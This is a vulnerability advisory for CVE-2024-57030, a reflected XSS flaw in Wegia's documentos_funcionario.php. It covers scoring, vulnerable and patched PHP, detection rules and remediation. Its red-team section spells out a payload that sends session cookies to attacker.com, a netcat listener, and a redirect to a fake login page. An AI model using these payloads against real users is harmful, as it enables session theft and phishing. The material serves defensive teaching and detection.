CVE-2024-57030

Executive Summary

CVE-2024-57030 is a reflected Cross-Site Scripting (XSS) vulnerability discovered in the Wegia application, specifically in the /geral/documentos_funcionario.php endpoint. The vulnerability is triggered via the id parameter, which is not properly sanitized before being reflected back to the user. This allows an attacker to inject arbitrary JavaScript code into the web page, which will execute in the context of the victim's browser session.

The vulnerability affects all versions of Wegia prior to 3.2.0. The vendor has released a patched version (3.2.0) that addresses this issue. The CVSS v3.1 base score is 6.1 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. The attack complexity is low, requires user interaction (clicking a crafted link), and can lead to partial confidentiality and integrity impact.

No public proof-of-concept (PoC) code or exploit has been released at this time. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild currently. However, due to the simplicity of the vulnerability, it is expected that PoC code will emerge.

Supply Chain & Package Security

Wegia is a PHP-based web application. This vulnerability is not related to any specific package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the application's PHP source code. The risk is primarily to organizations that self-host Wegia. Users should verify the integrity of their Wegia installation and ensure they are running version 3.2.0 or later.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): None (N) - The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) - The victim must click on a crafted link or visit a malicious page.
• Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) - Limited information disclosure is possible.
• Integrity (I): Low (L) - Limited modification of data is possible.
• Availability (A): None (N) - No impact on system availability.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The impact is limited to the victim's browser session.

Deep Dive & Mechanics

The vulnerability resides in the /geral/documentos_funcionario.php script. This script likely handles the display of employee documents. The id parameter is used to fetch and display a specific document. The application fails to sanitize or encode the id parameter before reflecting it in the HTML response.

Attack Flow:

1. An attacker crafts a malicious URL containing a JavaScript payload in the id parameter:

   http://target-wegia.com/geral/documentos_funcionario.php?id=<script>alert('XSS')</script>
   

2. The attacker sends this URL to a victim (e.g., via email, social media, or a phishing link).
3. The victim, who is authenticated to the Wegia application, clicks the link.
4. The victim's browser sends a request to the Wegia server.
5. The server processes the request and reflects the id parameter value directly into the HTML response without sanitization.
6. The victim's browser executes the injected JavaScript code.
7. The attacker can now perform actions such as:
   • Stealing session cookies.
   • Defacing the page.
   • Redirecting the user to a malicious site.
   • Performing actions on behalf of the victim (if the application is vulnerable to CSRF).

Root Cause: The lack of output encoding for the id parameter. The application should use htmlspecialchars() or similar functions to escape HTML special characters before outputting user-supplied data.

Vulnerable vs. Patched Code

Vulnerable Code (Wegia < 3.2.0):

<?php
// /geral/documentos_funcionario.php
$id = $_GET['id'];
echo "Document ID: " . $id;
?>

Patched Code (Wegia >= 3.2.0):

<?php
// /geral/documentos_funcionario.php
$id = $_GET['id'];
echo "Document ID: " . htmlspecialchars($id, ENT_QUOTES, 'UTF-8');
?>

The patched version uses htmlspecialchars() to encode the id parameter, preventing the execution of injected HTML and JavaScript.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install a vulnerable version of Wegia (e.g., 3.1.9) on a local server (e.g., using XAMPP, LAMP, or Docker).
2. Ensure the application is accessible via a web browser.

Exploitation Steps:

1. Basic XSS Test:

   http://localhost/geral/documentos_funcionario.php?id=<script>alert('XSS')</script>
   

2. Cookie Stealing (using a remote listener):
   • Set up a listener on your attacker machine (e.g., using nc -lvnp 8080).
   • Craft the payload:

     http://localhost/geral/documentos_funcionario.php?id=<script>document.location='http://attacker.com:8080/steal?cookie='+document.cookie</script>
     

   • Send the link to the victim.
3. Phishing Simulation:
   • Create a fake login page and use the XSS to redirect the victim:

     http://localhost/geral/documentos_funcionario.php?id=<script>window.location='http://attacker.com/fake-login'</script>
     

Blue Team

Detection Steps:

1. Monitor Web Logs: Look for requests to /geral/documentos_funcionario.php with suspicious id parameters containing <script>, onerror=, javascript:, or other XSS patterns.
2. WAF Rules: Deploy a Web Application Firewall (WAF) rule to block requests with XSS patterns in the id parameter.
3. Input Validation: Ensure that the application validates the id parameter to only accept expected values (e.g., numeric IDs).
4. Output Encoding: Verify that the application uses proper output encoding (e.g., htmlspecialchars()) for all user-supplied data.

Indicators of Compromise (IOCs)

• URL Pattern: Requests to /geral/documentos_funcionario.php with an id parameter containing HTML or JavaScript code.
• Web Log Entries:

  GET /geral/documentos_funcionario.php?id=<script>alert('XSS')</script> HTTP/1.1
  

• Network Traffic: Outbound connections from the victim's browser to an attacker-controlled server (e.g., for cookie exfiltration).
• Browser Artifacts: Presence of unexpected JavaScript execution in the browser's developer console.

Detection Engineering

YARA Rule

rule CVE_2024_57030_XSS_Wegia {
    meta:
        description = "Detects XSS attempts targeting CVE-2024-57030 in Wegia"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-57030"
        severity = "medium"
    strings:
        $xss_pattern_1 = /\/geral\/documentos_funcionario\.php\?id=.*<script>/i
        $xss_pattern_2 = /\/geral\/documentos_funcionario\.php\?id=.*onerror=/i
        $xss_pattern_3 = /\/geral\/documentos_funcionario\.php\?id=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-57030 XSS Attempt on Wegia
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts targeting the id parameter in /geral/documentos_funcionario.php
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-57030
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/geral/documentos_funcionario.php?id='
        cs-uri-query|contains|any:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in the id parameter (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57030 XSS Attempt on Wegia"; flow:to_server,established; content:"GET"; http_method; content:"/geral/documentos_funcionario.php"; http_uri; content:"id="; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Wegia: Update to version 3.2.0 or later immediately.
2. Apply Virtual Patching: If immediate upgrade is not possible, deploy a WAF rule to block XSS patterns in the id parameter.
3. Input Validation: Implement server-side validation to ensure the id parameter contains only expected characters (e.g., numeric values).

Long-Term Measures:

1. Secure Coding Practices: Implement output encoding for all user-supplied data using functions like htmlspecialchars() in PHP.
2. Regular Security Audits: Conduct periodic code reviews and penetration testing.
3. Content Security Policy (CSP): Deploy a strict CSP header to mitigate the impact of XSS vulnerabilities.
4. Web Application Firewall (WAF): Use a WAF to provide an additional layer of defense.

Valters IT